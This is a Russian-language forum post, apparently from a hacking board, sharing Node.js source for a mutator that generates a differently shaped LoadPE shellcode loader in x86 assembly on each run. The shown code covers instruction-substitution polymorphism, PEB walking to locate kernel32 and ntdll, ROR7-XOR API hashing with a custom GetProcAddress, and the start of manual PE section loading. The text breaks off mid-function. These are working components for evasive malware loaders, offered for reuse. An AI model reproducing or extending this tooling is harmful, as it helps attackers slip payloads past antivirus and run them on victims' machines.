+ Reply to Thread
Results 1 to 1 of 1

Thread: [NODE JS] Мутатор LoadPE шеллкода

  1. #1
    0xDADA11C7's Avatar

    Default [NODE JS] Мутатор LoadPE шеллкода

    Когда-то давно я игрался с кодогенерацией и сделал этот мутатор loadPE шеллкодов. Я понимаю, что создаваемый код убог, но сама идея интересна. LLVM IR для бедных :) Каждый раз мутатор выдаёт другой код. Не воспринимайте серьёзно, потому что код смишнявый

    platform.js файл
    Code: JavaScript

    var pad = require('./modules/node-pad/lib/pad.js');
    var fs = require('fs');
    var _ = require('./modules/underscore/underscore.js');
    const DONT_ADD_TO_LIST = 1; USE_ONLY_GENERAL_REGS = 2; LOCK_REG = 4; LOCK_VAR = 4;

    exports.DONT_ADD_TO_LIST = DONT_ADD_TO_LIST; exports.USE_ONLY_GENERAL_REGS = USE_ONLY_GENERAL_REGS; exports.LOCK_REG = LOCK_REG;
    exports.LOCK_VAR = LOCK_VAR;

    const REG_EAX = 0, REG_EBX = 1, REG_ECX = 2, REG_EDX = 3, REG_ESI = 4, REG_EDI = 5, REG_EBP = 6;
    exports.REG_EAX = REG_EAX; exports.REG_EBX = REG_EBX; exports.REG_ECX = REG_ECX; exports.REG_EDX = REG_EDX; exports.REG_ESI = REG_ESI;
    exports.REG_EDI = REG_EDI; exports.REG_EBP = REG_EBP;

    const REG_DWORD = 0, REG_LOWORD = 1, REG_HIBYTE = 2, REG_LOBYTE = 3;
    exports.REG_DWORD = REG_DWORD; exports.REG_LOWORD = REG_LOWORD; exports.REG_HIBYTE = REG_HIBYTE; exports.REG_LOBYTE = REG_LOBYTE;

    const REG_R32 = 0, REG_R16 = REG_LOWORD<<3, REG_R8H = REG_HIBYTE<<3, REG_R8L = REG_LOBYTE<<3;
    exports.REG_R32 = REG_R32; exports.REG_R16 = REG_R16; exports.REG_R8H = REG_R8H; exports.REG_R8L = REG_R8L;

    const REG_AX=REG_EAX+(REG_LOWORD<<3), REG_BX=REG_EBX+(REG_LOWORD<<3), REG_CX=REG_ECX+(REG_LOWORD<<3), REG_DX=REG_EDX+(REG_LOWORD<<3),
    REG_AL=REG_EAX+(REG_LOBYTE<<3), REG_BL=REG_EBX+(REG_LOBYTE<<3), REG_CL=REG_ECX+(REG_LOBYTE<<3), REG_DL=REG_EDX+(REG_LOBYTE<<3),
    REG_AH=REG_EAX+(REG_HIBYTE<<3), REG_BH=REG_EBX+(REG_HIBYTE<<3), REG_CH=REG_ECX+(REG_HIBYTE<<3), REG_DH=REG_EDX+(REG_HIBYTE<<3),
    REG_SI=REG_ESI+(REG_LOWORD<<3), REG_DI=REG_EDI+(REG_LOWORD<<3);
    exports.REG_AX = REG_AX; exports.REG_BX = REG_BX; exports.REG_CX = REG_CX; exports.REG_DX = REG_DX;
    exports.REG_AL = REG_AL; exports.REG_BL = REG_BL; exports.REG_CL = REG_CL; exports.REG_DL = REG_DL;
    exports.REG_AH = REG_AH; exports.REG_BH = REG_BH; exports.REG_CH = REG_CH; exports.REG_DH = REG_DH;
    exports.REG_SI = REG_SI; exports.REG_AX = REG_DI;

    const MEM32 = 0, MEM16 = 1, MEM8 = 2;
    exports.MEM32 = MEM32; exports.MEM16 = MEM16; exports.MEM8 = MEM8;

    function unchainMem(s) {
    var r="";
    if (_.isString(s) && (r = s.match(/\[([a-zA-Z\.]\w*)\]/)) !== null) return(r[1]);
    return(r);
    }

    function unchainConst(s){
    var r = "";
    if (_.isString(s) && (r = s.match(/0x[0-9a-fA-F]*/)) !== null) return(r[0]);
    return(r);
    }

    function BytesToDword (B1, B2, B3, B4) {
    var iResult = B1 + (B2<<8)+(B3<<16) + (B4<<24);
    return(iResult>>>0);
    };

    exports.BytesToDword = BytesToDword;

    Number.prototype.toHex = function() {
    return('0x'+this.toString(16)); };

    function arrRndValue (arr) {
    return(arr[Math.floor(Math.random()*arr.length)]);};

    function arrRndOrderConact(array){
    return(_.shuffle(array).join(''));};

    var Register = function (sNameDW, sNameLW, sNameLB, sNameHB) {
    this.name = [sNameDW, sNameLW, sNameLB, sNameHB]; this.using = false; };

    RegisterProto = {
    lock: function() { this.using = true;},

    unlock: function() { this.using = false; },

    toString: function(i) {if ( _.isUndefined(i) || i < 0 || i > 3) i = 0; return(this.name[i]);},

    isGeneral: function(){return(this.name[3] !== null);}};

    SetRegister = function(i) {if(_.isUndefined(i)||i<0||i>0x7f) i = 0; this.num = i;};

    module.exports.Register = Register;
    module.exports.Register.prototype = RegisterProto;

    SetRegisterProto = {
    arrNames: ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'],

    has: function (i) {
    if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); return ((this.num & 1 << i)!=0);},
    add: function(i) {
    if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); this.num |= ((1 << i)>>>0); return(true);},
    remove: function(i) {
    if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); this.num &= ~ ((1 << i)>>>0) ; return(true);},
    toArrayIndex: function() {
    var x = []; _.each(_.range(REG_EBP+1), function(a){ if (this.has(a)) x.push(a)}, this); return(x); },
    toArrayIndexInverse: function() {
    var x = []; _.each(_.range(REG_EBP+1), function(a){ if (!this.has(a)) x.push(a)}, this); return(x); },
    toArrayNamesInverse: function() {return(_.map(this.toArrayIndexInverse(), function(x){ return (this.arrNames[x])}, this));},
    toArrayNames: function() {return(_.map(this.toArrayIndex(), function(x){ return (this.arrNames[x])}, this));},
    getInt: function () {return(this.num);},
    setInt: function (i) {this.num = i; return (true);},
    not: function() {this.num = ((~ this.num >>> 0) & 0x7f); return(true);}};

    module.exports.SetRegister = SetRegister;
    module.exports.SetRegister.prototype = SetRegisterProto;
    SetRegister.prototype = SetRegisterProto;

    function Registers() {
    var rn = [['eax', 'ax', 'ah', 'al'], ['ebx', 'bx', 'bh', 'bl'], ['ecx', 'cx', 'ch', 'cl'], ['edx', 'dx', 'dh', 'dl'],
    ['esi', 'si', null, null ], ['edi', 'di', null, null], ['ebp', 'bp', null, null]];
    this.container = []; this.used = new SetRegister();
    _.each(rn, function(x, y) { this.container[y] = new Register(x[0], x[1], x[2], x[3]); }, this);};

    RegistersProto = {

    objToIndex : function (a) {
    var b = null; _.find(this.container, function (x, y) { if (x === a) b=y; return (x === a);}, this); return(b);},

    arrIndexToArrObj : function (a) {
    if (_.isUndefined(a) || (!_.isArray(a)) || _.find(a, function(x) {if (x>REG_EBP || x<REG_EAX) return(true);})) return(null);
    return(_.map(a, function(x) { return(this.container[x]); }, this))},

    getIndexByName : function (sName){
    var num = NaN; _.find(this.container, function(x, y) { if (x.name[0]===sName) {num = y; return(true);} }, this); return (num);},

    getByIndex : function (i) { if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(null); return(this.container[i]);},

    getArrFreeIndex : function () { return(this.used.toArrayIndexInverse()); },

    getArrFreeName : function () {return(this.used.toArrayNamesInverse());},

    getArrFreeObj : function (){return(_.filter(this.container, function(x) {return(!x.using);}, this));},

    getUsedIndex : function () {return(this.used.toArrayIndex());},

    getUsedNames : function() {return(this.used.toArrayNames());},

    getUsedObj : function () {return(this.arrIndexToArrObj(this.used.toArrayInd ex()));},

    getFreeIndex : function(flags) {
    var rs = this.getArrFreeObj(), r, res;
    if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) {return(x.isGeneral());}, this);
    if (!_.size(rs)) return(NaN);
    r = arrRndValue(rs);
    if (flags & LOCK_REG) r.lock();
    res = this.objToIndex(r);
    if (!(flags & DONT_ADD_TO_LIST)) this.used.add(res);
    return(res);
    },

    getFreeObj : function(flags) {
    var rs = this.getArrFreeObj(), r;
    if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) { return(x.isGeneral()); }, this);
    if (!_.size(rs)) return(null);
    r = arrRndValue(rs);
    if (flags & LOCK_REG) r.lock();
    if (!(flags & DONT_ADD_TO_LIST)) this.used.add(this.objToIndex(r));
    return(r);
    }
    }

    module.exports.Registers = Registers;
    module.exports.Registers.prototype = RegistersProto;
    Registers.prototype = RegistersProto;

    function Variable (sName, iSize) {
    this.name = sName; this.use = false; this.size = iSize;};

    module.exports.Variable = Variable;

    function Variables () {
    this.container = new Array();};

    VariablesProto = {

    add : function (sName, iSize) {if (!sName) return(null); if (!iSize) iSize = 4; if (!this.isExists(sName)) return(this.container.push(new Variable(sName, iSize))); return(null);},

    isExists : function (sName) {
    return((!_.isUndefined(sName)) && (_.find(this.container, function(x){ return (x.name === sName) }, this)));},

    toString : function (sName) {
    return(_.reduce(_.shuffle(this.container), function (m, x) {return(m+' local '+x.name+this.getAsmType(x.size)+'\n')}, '', this));},

    getAsmType : function(i) {
    var obj = {'1':':Byte', '2':':WORD', '4':':DWORD', '8':':QWORD'}; if (_.isUndefined(i) || i < 1 || (!_.isNumber(i))) return(null);
    if (_.has(obj, i)) return(obj[i]); return ('['+i.toHex()+']:BYTE');}};

    module.exports.Variables = Variables;
    Variables.prototype = VariablesProto;
    module.exports.Variables.ptototype = VariablesProto;

    //module.exports.Variables.ptototype = VariablesProto;
    function ExecutionEnvironment(sName, sCallConv, arrParam) {
    var f;
    this.regs = new Registers(); this.vars = new Variables(); this.name = sName;
    this.callconv = sCallConv;
    if (sCallConv == 'stdcall') { this.regs.container[REG_EBP].lock(); };
    this.tableCmd = [];
    f = function (p, f) {
    f.emit([['add', p[0].s, '1'], ['sub', p[0].s, '-1'], ['inc', p[0].s]][_.random(2)]); return(true);}
    this.tableCmd.push(['inc', ['r8'], 1, f]);
    this.tableCmd.push(['inc', ['r16'], 1, f]);
    this.tableCmd.push(['inc', ['r32'], 1, f]);
    this.tableCmd.push(['inc', ['m32'], 1, f]);
    f = function (p, f) {
    f.emit(['add', p[1].s, p[0].s]); return(true);};
    this.tableCmd.push(['add', ['c8', 'r8'], 2, f]);
    this.tableCmd.push(['add', ['c16', 'r16'], 2, f]);
    f = function (p, f) {
    f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+ p[1].s+'+'+unchainConst(p[0].s)+']']][_.random(1)]); return(true);};
    this.tableCmd.push(['add', ['c32', 'r32'], 2, f]);
    f = function (p, f) {f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+p[0].s+'+'+p[1].s+']']][_.random(1)]); return(true);}
    this.tableCmd.push(['add', ['r32', 'r32'], 2, f]);
    f = function (p, f) {
    f.emit([['push', p[0].s, ';', 'pop', p[1].s], ['mov', p[1].s, p[0].s]][_.random(1)]); return(true);};
    this.tableCmd.push(['load', ['m32', 'r32'], 2, f]);
    this.tableCmd.push(['load', ['r32', 'm32'], 2, f]);
    this.tableCmd.push(['load', ['r32', 'r32'], 2, f]);
    this.tableCmd.push(['load', ['c32', 'r32'], 2, f]);
    this.tableCmd.push(['load', ['c32', 'm32'], 2, f]);
    f = function (p, f) {
    f.emit(['push', p[0].s, ';', 'pop', p[1].s]);
    return(true);
    };
    this.tableCmd.push(['load', ['m32', 'm32'], 2, f]);
    f = function (p, f) {
    f.emit([['add', p[0].s, '-0x1'], ['sub', p[0].s, '0x1'], ['dec', p[0].s], ['lea', p[0].s, '['+p[0].s+'-0x1]']][_.random(3)]);
    return(true);
    };
    this.tableCmd.push(['dec', ['r8'], 1, f]); this.tableCmd.push(['dec', ['r16'], 1, f]); this.tableCmd.push(['dec', ['r32'], 1, f]);
    f = function(p, f) {
    f.emit([['test', p[0].s, p[0].s], ['cmp', p[0].s, (0).toHex()], ['or', p[0].s, p[0].s]][_.random(2)]);
    return(true);
    };
    this.tableCmd.push(['checkz', ['r8'], 1, f]);
    this.tableCmd.push(['checkz', ['r16'], 1, f]);
    this.tableCmd.push(['checkz', ['r32'], 1, f]);
    f = function(p, f) {
    f.emit([['mov', p[0].s, '0x0'], ['push', '0x0', ';', 'pop', p[0].s], ['and', p[0].s, '0x0'], ['xor', p[0].s, p[0].s], ['sub', p[0].s, p[0].s]][_.random(4)]);
    return(true)
    };
    this.tableCmd.push(['loadz', ['r32'], 1, f]);
    f = function(p, f) {
    f.emit(['movzx', p[1].s, p[0].s]);
    return(true)
    };
    this.tableCmd.push(['loadzx', ['m8', 'r32'], 2, f]);
    this.tableCmd.push(['loadzx', ['m16', 'r32'], 2, f]);
    f = function(p, f) {
    var r;
    if (_.random(1)) {
    f.emit(['cmp', p[1].s, p[0].s]);
    } else {
    r = f.getFreeReg(LOCK_REG);
    f.cmd('loadzx_m16$r32', [unchainMem(p[1].s), r.i]);
    f.emit(['cmp', r.s, (p[0].i).toHex()]);
    r.o.unlock();
    };
    return(true);
    };
    this.tableCmd.push(['check', ['c16', 'm16'], 2, f]);
    f = function(p, f) {
    f.emit(['cmp', p[1].s, p[0].s]); return(true);
    };
    this.tableCmd.push(['check', ['c32', 'm32'], 2, f]);
    this.tableCmd.push(['check', ['m32', 'r32'], 2, f]);
    this.useForResult = null; this.params = arrParam; this.code = ''; this.settings = {fTrashGen: false};
    };

    ExecutionEnvironmentProto = {
    emit : function (line) {
    ax = []; ay= []; if (_.isString(line)) {this.code+=line;return(line);} if (!_.isArray(line)) return(null);
    _.each(line, function(x, i, arr) { if (x == ';') { ay.push(ax); ax = []; return(0); } ax.push(x); } , this); if (_.size(ax)) ay.push(ax);
    this.code+=_.reduce(ay, function(m, x) { var s =''; if(_.size(x)){s=' '+pad(x[0], 8);
    if (_.size(x) > 1) { s += x.slice(1).join(', ');}} return(m+s+'\n');}, '', this);return(true);},

    finalize : function(r) {
    if (this.callconv == 'stdcall') {
    var sResultType, bSaveUsedRegs = _.random(1), optimize = _.random(1);
    regz = this.regs.getUsedIndex();
    if (bSaveUsedRegs && _.isNumber(this.useForResult)) {
    if (this.useForResult == REG_EAX && optimize ) {this.regs.used.remove(REG_EAX);}
    else { this.vars.add('iResult'); this.cmd('load_r32$m32', [this.useForResult, 'iResult']); };
    } else {
    this.vars.add('iResult');
    if (_.isNumber(this.useForResult)) {this.cmd('load_r32$m32', [this.useForResult, 'iResult']);} else {
    if (!this.vars.isExists(this.useForResult)) {this.cmd('load_m32$m32', [this.useForResult, 'iResult']);};};
    };
    if (bSaveUsedRegs) {
    this.code = _.reduce(this.regs.getUsedNames(), function(memo, i) {return(' push '+i+'\n'+memo+' pop '+i+'\n');}, this.code, this);}
    else {this.code = ' pusha\n'+this.code+' popa\n';};
    if (!(optimize && bSaveUsedRegs && this.useForResult == REG_EAX)) {this.cmd('load_m32$r32', ['iResult', REG_EAX]); };
    this.code = 'proc '+this.name+' '+this.params.join(', ')+'\n'+this.vars+this.code+' ret\nendp\n';
    return (true);};
    return(false);},

    setUseForResult : function(r) {if (_.isString(r) || _.isNumber(r)) { this.useForResult = r; return(true); }; return(false); },

    toString : function () {return(this.code);},

    toType : function(t, v) {
    var getRSZ, isMem, toMem, toReg, oTableType; getRSZ = function(a) { return((a>>3)&3); };
    isMem = function (a){ return(_.isString(a) ? '['+a+']': null); };
    toMem = function (m, i) { var obj = {'0':'DWord', '1':'Word', '2':'Byte'}, p; if (_.isUndefined(i)||(!(p = isMem(m)))||(!_.isNumber(i)))
    return(null); if (_.has(obj, i)) return({s:obj[i]+' '+p, o: null, i:null}); return(null); }
    toReg = function (p, ee) { return({i: p, o: ee.regs.getByIndex(p&7), s: ee.regs.getByIndex(p&7).toString(getRSZ(p))});};
    //
    oTableType = {
    'm32': function (p, ee) {return(toMem(p, MEM32));},
    'm16': function (p, ee) {return(toMem(p, MEM16));},
    'm8': function (p, ee) {return(toMem(p, MEM8));},
    'r32': function (p, ee) {return((_.isUndefined(p) || (p<REG_EAX) ||p>REG_EBP) ? null:toReg(p, ee));},
    'r16': function (p, ee) {return((_.isUndefined(p) || (getRSZ(p)!==REG_LOWORD)) ? null:toReg(p, ee));},
    'r8': function (p, ee) {return((_.isUndefined(p) || (getRSZ(p)!==REG_HIBYTE&&getRSZ(p)!==REG_LOBYTE)) ? null:toReg(p, ee))},
    'c32': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'DWORD ' + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )},
    'c16': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'WORD ' + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )},
    'c8': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'BYTE ' + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )}
    };
    return(_.has(oTableType,t)?oTableType[t](v,this):null);
    },

    cmd : function(name, params) {
    var p = [], c = _.find(this.tableCmd, function(x) { return ( (!_.size(x[1])) || (x[0]+'_'+x[1].join('$')===name));}, this);
    if ((!c)||(!_.isFunction(c[3]))) return(false); _.each(c[1], function (x, i) { var v = this.toType(x, params[i]);
    if (v) p.push(v);}, this); if (_.size(p)!==c[2]) return(false); c[3](p, this); return(true);},

    getFreeReg: function(f) {
    return(this.toType('r32', this.regs.getFreeIndex(f)));}};

    module.exports.ExecutionEnvironment = ExecutionEnvironment;
    module.exports.ExecutionEnvironment.prototype = ExecutionEnvironmentProto;
    ExecutionEnvironment.prototype = ExecutionEnvironmentProto;

    tablecall.js файл
    Code: JavaScript

    var pad = require('./modules/node-pad/lib/pad.js');
    var _ = require('./modules/underscore/underscore.js');
    var p = require('./platform.js');

    function nameptrfnc(v) {
    if (_.isObject(v) && _.has(v, 'lib') && _.has(v, 'fnc'), _.isString(v.lib), _.isString(v.lib)) {
    return('p'+v.fnc+'_'+v.lib.replace(/\.dll/gi, ''))}};

    module.exports = nameptrfnc;

    function namehandlelib(slib) {
    if (_.isString(slib)) return('h'+slib.replace(/\.dll/gi, ''));};

    module.exports = namehandlelib;

    function namestrzlib(slib) {
    if (_.isString(slib)) return('sz'+slib.replace(/\.dll/gi, ''));};

    module.exports = namestrzlib;

    function genAPIStruct(ta) {
    return (_.reduce(_.shuffle(ta), function(memo, val) { return (memo + pad(' '+nameptrfnc(val), 40)+' dd ?\n'); }, 'struct stAPITable\n') + 'ends\n');};

    module.exports.genAPIStruct = genAPIStruct;

    toHex = function(x) {
    return('0x'+x.toString(16));};

    CodeSnippet = function(name, callconv, params, fSnippet, prmz) {
    var ee = new p.ExecutionEnvironment(name, callconv, params);
    fSnippet(ee, ee.regs, ee.vars, prmz);
    ee.finalize();
    return({e : ee, code: ee.code, buffer: null});};

    module.exports.CodeSnippet = CodeSnippet;

    var fHashRor7Xor = function (e, r, v) {
    var r1 = e.getFreeReg(p.USE_ONLY_GENERAL_REGS|p.LOCK_REG), r2 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', ['strz', r2.i]);
    e.cmd('load_c32$r32', [0, r1.i]);
    e.emit(['push',''+r1.s]);
    e.emit('.CalcHash:\n');
    e.emit(['ror', r1.s, 7]);
    e.emit(['xor','[esp]', r1.s]);
    e.emit(['mov', e.toType('r8', r1.i+p.REG_R8L).s, 'Byte ['+r2.s+']']);
    e.cmd('inc_r32', [r2.i]);
    e.cmd('checkz_r8', [r1.i+p.REG_R8L]);
    e.emit(['jnz','.CalcHash']);
    e.emit(['pop','eax']);
    e.setUseForResult(p.REG_EAX);};

    var fGetNtdll = function (e, r, v) {
    var r1, r2, r3, r4;
    r1 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', ['fs:0x30', r1.i]);
    r1.o.unlock();
    r2 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r1.s+'+0xC', r2.i]);
    r2.o.unlock();
    r3 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r2.s+'+0x1C', r3.i]);
    r3.o.unlock();
    e.setUseForResult(r3.s+'+0x8');};

    var fGetK32 = function (e, r, v){
    var reg1, reg2, reg3, reg4, reg5; c = _.shuffle([0x6b, 0x4b]);
    e.vars.add('iResult');
    reg1 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', ['fs:0x30', reg1.i]);
    reg1.o.unlock();
    reg2 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [reg1.s+'+0xC', reg2.i]);
    reg2.o.unlock();
    reg3 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [reg2.s+'+0x1C', reg3.i]);
    e.emit('.NextModule:\n');
    e.cmd('load_m32$m32', [reg3.s+'+0x8', 'iResult']);
    reg4 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [reg3.s+'+0x20', reg4.i]);
    e.cmd('load_m32$r32', [reg3.s, reg3.i]);
    reg5 = e.getFreeReg(p.LOCK_REG|p.USE_ONLY_GENERAL_REGS);
    e.cmd('loadzx_m8$r32', [reg4.s+'+0x18', reg5.i]);
    e.cmd('checkz_r32', [reg5.i]);
    e.emit(['jne', '.NextModule']);
    e.cmd('loadzx_m8$r32', [reg4.s, reg5.i]);
    e.emit(['cmp', reg5.s, toHex(c[0]), ';', 'je', '.Found_K32', ';', 'cmp', reg5.s, toHex(c[1]), ';', 'jne', '.NextModule']);
    e.emit('.Found_K32:\n');
    e.setUseForResult('iResult');};

    function genData(e, buff, memdest) {
    var i = 0, r = e.getFreeReg(LOCK_REG);
    e.emit(['lea', r.s, '['+memdest+']']);
    while( i < buff.length){
    if ((buff.length - i - 1) > 4) {
    e.cmd('load_c32$m32', [p.BytesToDword(buff[i], buff[i+1], buff[i+2], buff[i+3]), r.s]); i+=4; e.cmd('add_c32$r32', [4, r.i]);
    } else { e.emit(['mov', 'BYTE ['+r.s+']', toHex(buff[i])]); i++; if (i !== buff.length) { e.cmd('inc_r32', [r.i]);}; }; }; r.o.unlock();};

    module.exports.genData = genData;

    function fAltGetProcAddress (e, r, v){
    var r1;
    e.vars.add('iResult');
    r1 = e.getFreeReg(p.LOCK_REG);
    eval(_.shuffle(["e.cmd('load_c32$m32', [0, 'iResult'])", "e.cmd('load_m32$r32', ['hLib', r1.i])"]).join(';'));
    e.cmd('check_c16$m16', [0x5a4d, r1.s]);
    e.emit(['jne', '.End']);
    r2 = e.getFreeReg(p.LOCK_REG);
    e.cmd('loadzx_m16$r32', [r1.s+'+0x3c', r2.i]);
    e.cmd('add_r32$r32', [r1.i, r2.i]);
    e.cmd('check_c32$m32', [0x4550, r2.s]);
    e.emit(['jne', '.End']);
    r3 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r2.s+'+0x78', r3.i]);
    r2.o.unlock();
    e.cmd('add_r32$r32', [r1.i, r3.i]);
    r4 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r3.s+'+0x18', r4.i]);
    r5 = e.getFreeReg(p.LOCK_REG);
    e.emit(['push', r3.s]);
    e.cmd('loadz_r32', [r5.i]);
    r6 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r3.s+'+0x20', r6.i]);
    r3.o.unlock();
    e.cmd('add_r32$r32', [r1.i, r6.i]);
    e.emit('.MainLoop:\n');
    r7 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r6.s, r7.i]);
    e.cmd('add_r32$r32', [r1.i, r7.i]);
    e.emit(['push', 'eax']);
    e.emit(['stdcall', '[fHashProc]', r7.s]);
    e.cmd('check_m32$r32', ['iHashVal', p.REG_EAX]);
    e.emit(['pop', 'eax']);
    e.emit(['jz', '.FoundProcname']);
    eval(_.shuffle(["e.cmd('add_c32$r32', [0x4, r6.i])", "e.cmd('inc_r32', [r5.i])", "e.cmd('dec_r32', [r4.i])"]).join(';'));
    e.cmd('checkz_r32', [r4.i]);
    e.emit(['jnz', '.MainLoop']);
    e.emit(['pop', e.getFreeReg().s]);
    e.emit(['jmp', '.End']);
    e.emit('.FoundProcname:\n');
    r7.o.unlock(); r6.o.unlock(); r4.o.unlock();
    r8 = e.getFreeReg(p.LOCK_REG);
    e.emit(['pop', r8.s]);
    eval("e.emit(['shl', r5.s, 0x1])");
    e.emit(['add', r5.s, (e.toType('m32', r8.s+'+0x24')).s]);
    r9 = e.getFreeReg(p.LOCK_REG);
    e.cmd('loadzx_m16$r32', [r5.s+'+'+r1.s, r9.i]);
    eval(["e.emit(['shl', r9.s, 0x2]); e.cmd('add_r32$r32', [r1.i, r9.i]);",
    "e.emit(['lea', r9.s, '['+ r9.s+'*4+'+r1.s+']']);"][_.random(1)]);
    e.emit(['add', r9.s, (e.toType('m32', r8.s+'+0x1C')).s]);
    r8.o.unlock(); r10 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r9.s, r10.i]);
    e.cmd('add_r32$r32', [r1.i, r10.i]);
    e.cmd('load_r32$m32', [r10.i, 'iResult']);
    e.emit('.End:\n');
    };

    function tableApiUnique (ta) {
    return(eval('[ '+(_.uniq(_.map(ta, function(x) { return(JSON.stringify(x));}))).join(', ')+' ]'));};

    function tableApiHasLib(ta, sDll) {
    return (_.size(_.where(ta, {lib:sDll})) > 0);};

    function tableApiHasUserLibs(ta){
    return(_.find ( ta, function(value) { return ( value.lib !== 'kernel32.dll' && value.lib !== 'ntdll.dll') }) === null);};

    function tableApiGetUserLibs(ta) {
    return(_.filter(_.unique(_.pluck(ta, 'lib')), function(value) { return (value !== 'kernel32.dll' && value !== 'ntdll.dll') }));};


    var oGetNtdllProc = CodeSnippet('GetNtdll', 'stdcall', [], fGetNtdll);
    var oGetK32Proc = CodeSnippet('GetK32', 'stdcall', [], fGetK32);
    var oGetHashProc = CodeSnippet('GetHashSz', 'stdcall', ['strz'], fHashRor7Xor);
    var oAltGetProcAddress = CodeSnippet('AltGetProcAddressByHash', 'stdcall', ['hLib', 'fHashProc', 'iHashVal'], fAltGetProcAddress);

    function _rotr (value, shift) {
    if ((shift &= 31) == 0) return value;
    return ((value >>> shift) | (value << (32 - shift)));};

    function hash_ror7xor(b){
    var r = 0, x = 0;
    for (i = 0; i<_.size(b); i++) { x = _rotr(x, 7); r ^= x; x = x & 0xffffff00; x |= b[i]>>>0; };
    return( (r^=_rotr(x, 7))>>>0);};

    function followApiTable(e, ta){
    var bufflib, r = e.regs, v = e.vars;
    reg_addr = e.toType('r32', [p.REG_EBX, p.REG_ESI, p.REG_EDI][_.random(2)]);
    reg_addr.o.lock();
    if (tableApiHasUserLibs(ta)) {
    ta.push({fnc: 'LoadLibraryA', lib: 'kernel32.dll'});};
    ta = tableApiUnique(ta);
    v.add('pGetHashSz');
    e.cmd('load_m32$r32', ['pMyAddr', reg_addr.i]);
    e.emit(['lea', reg_addr.s, '['+reg_addr.s+'+GetHashSz]']);
    e.cmd('load_r32$m32', [reg_addr.i, 'pGetHashSz']);
    if (tableApiHasLib(ta, 'kernel32.dll')) {
    e.vars.add(namehandlelib('kernel32.dll'));
    e.emit(['call', 'GetK32']);
    e.cmd('load_r32$m32', [p.REG_EAX, namehandlelib('kernel32.dll')]);};
    if (tableApiHasLib(ta, 'ntdll.dll')) {
    e.vars.add(namehandlelib('ntdll.dll'));
    e.emit(['call', 'GetNtdll']);
    e.cmd('load_r32$m32', [p.REG_EAX, namehandlelib('ntdll.dll')]);};
    e.vars.add('APITable',_.size(ta)*4);
    _.each(tableApiGetUserLibs(ta), function(lib) {
    e.emit(['stdcall', 'AltGetProcAddressByHash', '['+namehandlelib('kernel32')+']', reg_addr.s, toHex(hash_ror7xor(new Buffer('LoadLibraryA', 'utf-8')))]);
    e.cmd('load_r32$m32', [p.REG_EAX, 'APITable+stAPITable.pLoadLibraryA_kernel32']);
    var s, bufflib, ro;
    s = namestrzlib(lib);
    bufflib = new Buffer(lib+'\0', 'utf-8');
    v.add(s, _.size(bufflib));
    genData(e, bufflib, s);
    v.add(namehandlelib(lib));
    ro = e.getFreeReg(p.LOCK_REG);
    e.emit(['lea', ro.s, '['+s+']'])
    e.emit(['stdcall', 'DWord [APITable+stAPITable.pLoadLibraryA_kernel32]', ro.s]); ro.o.unlock();
    e.cmd('load_r32$m32', [p.REG_EAX, namehandlelib(lib)]);
    }, this);
    _.each(ta, function(value) {
    if (!(tableApiHasUserLibs(ta) && value.fnc === "LoadLibraryA")) {
    e.emit(['stdcall', 'AltGetProcAddressByHash', '['+namehandlelib(value.lib)+']', reg_addr.s, toHex(hash_ror7xor(new Buffer(value.fnc, 'utf-8')))]);
    e.cmd('load_r32$m32', [p.REG_EAX, 'APITable+stAPITable.'+nameptrfnc(value)]);}
    }, this);
    reg_addr.o.unlock();
    return(genAPIStruct(ta));};

    module.exports.followApiTable = followApiTable;
    module.exports.procz = [oGetNtdllProc, oGetK32Proc, oGetHashProc, oAltGetProcAddress];

    loadpe.js главный файл
    Code: JavaScript

    var tc = require('./tablecall.js');
    var p = require('./platform.js');
    var fs = require('fs');
    var _ = require('./modules/underscore/underscore.js');

    var tableApi = [{fnc:'LoadLibraryA', lib:'kernel32.dll'}, {fnc:'VirtualProtect', lib:'kernel32.dll'}];
    var headerz;
    var procz = tc.procz;

    var loadSection = 'proc loadSection pSectionHeader:DWORD, image_base:DWORD, pFileImageBase:DWORD \n\n\
    pushad \n'+_.shuffle([' mov edx, [pSectionHeader]', ' mov esi, [pFileImageBase]']).join('\n')+ '\n' +
    _.shuffle([' add esi, [edx+IMAGE_SECTION_HEADER.PointerToRawData]',
    ' mov edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress]\n add edi, [image_base]',
    ' mov ecx, [edx+IMAGE_SECTION_HEADER.SizeOfRawData]', ' cld']).join('\n')+'\n'+'\
    rep movsb\n\
    popad\n\
    ret\n\
    endp\n';

    function fSetSection (e, r, v){
    var r1 = e.getFreeReg(p.LOCK_REG), r2 = e.getFreeReg(p.LOCK_REG);
    v.add('.section_flags'); v.add('iResult'); v.add('.vprotect_ret');
    e.cmd('load_c32$m32', [0, 'iResult']);
